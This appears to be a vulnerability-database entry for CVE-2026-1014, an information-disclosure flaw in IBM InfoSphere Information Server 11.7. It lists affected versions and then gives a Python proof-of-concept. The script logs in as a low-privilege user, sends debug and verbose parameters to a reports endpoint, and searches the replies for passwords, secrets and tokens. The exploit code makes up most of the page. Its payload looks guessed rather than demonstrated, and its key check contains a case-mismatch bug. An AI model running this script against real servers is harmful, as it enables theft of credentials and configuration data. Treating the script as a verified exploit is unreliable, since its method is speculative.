cpe:2.3:o:ibm:aix:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE
IBM InfoSphere Information Server 11.7.0.0
IBM InfoSphere Information Server 11.7.0.1
IBM InfoSphere Information Server 11.7.0.2
IBM InfoSphere Information Server 11.7.0.3
IBM InfoSphere Information Server 11.7.0.4
IBM InfoSphere Information Server 11.7.0.5
IBM InfoSphere Information Server 11.7.1.0
IBM InfoSphere Information Server 11.7.1.1
IBM InfoSphere Information Server 11.7.1.2
IBM InfoSphere Information Server 11.7.1.3
IBM InfoSphere Information Server 11.7.1.4
IBM InfoSphere Information Server 11.7.1.5
IBM InfoSphere Information Server 11.7.1.6
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests
import json
def check_cve_2026_1014(target_url, username, password):
"""
PoC for CVE-2026-1014: IBM InfoSphere Information Server Sensitive Information Disclosure
This script attempts to manipulate JSON responses to expose sensitive data.
"""
session = requests.Session()
# Step 1: Authenticate with low-privilege user
login_payload = {
"username": username,
"password": password
}
try:
print("[*] Attempting to login...")
login_resp = session.post(f"{target_url}/auth/login", json=login_payload)
if login_resp.status_code != 200:
print("[-] Login failed.")
return
print("[+] Login successful.")
# Step 2: Send request to vulnerable endpoint with manipulation parameters
# Attempting to force verbose error or debug info in JSON response
vulnerable_endpoint = f"{target_url}/api/isp/servlet/reports"
# Payload designed to manipulate JSON response structure
exploit_payload = {
"action": "getDetails",
"id": "1",
"verbose": "true", # Attempting to trigger verbose output
"debug": "on" # Attempting to trigger debug mode
}
print(f"[*] Sending payload to {vulnerable_endpoint}...")
response = session.get(vulnerable_endpoint, params=exploit_payload)
if response.status_code == 200:
try:
data = response.json()
print("[+] Received JSON response:")
print(json.dumps(data, indent=2))
# Check for known sensitive keys in the response
sensitive_keys = ["password", "secret", "token", "admin", "internalConfig"]
found_keys = [key for key in sensitive_keys if key in str(data).lower()]
if found_keys:
print(f"[!] Potential sensitive information disclosed: {found_keys}")
else:
print("[-] No obvious sensitive data found in this attempt.")
except ValueError:
print("[-] Response was not valid JSON.")
else:
print(f"[-] Request failed with status code: {response.status_code}")
except Exception as e:
print(f"[!] An error occurred: {e}")
if __name__ == "__main__":
# Replace with actual target details for testing
target = "http://target-infosphere-server:9080"
user = "testuser"
pwd = "testpass"
check_cve_2026_1014(target, user, pwd)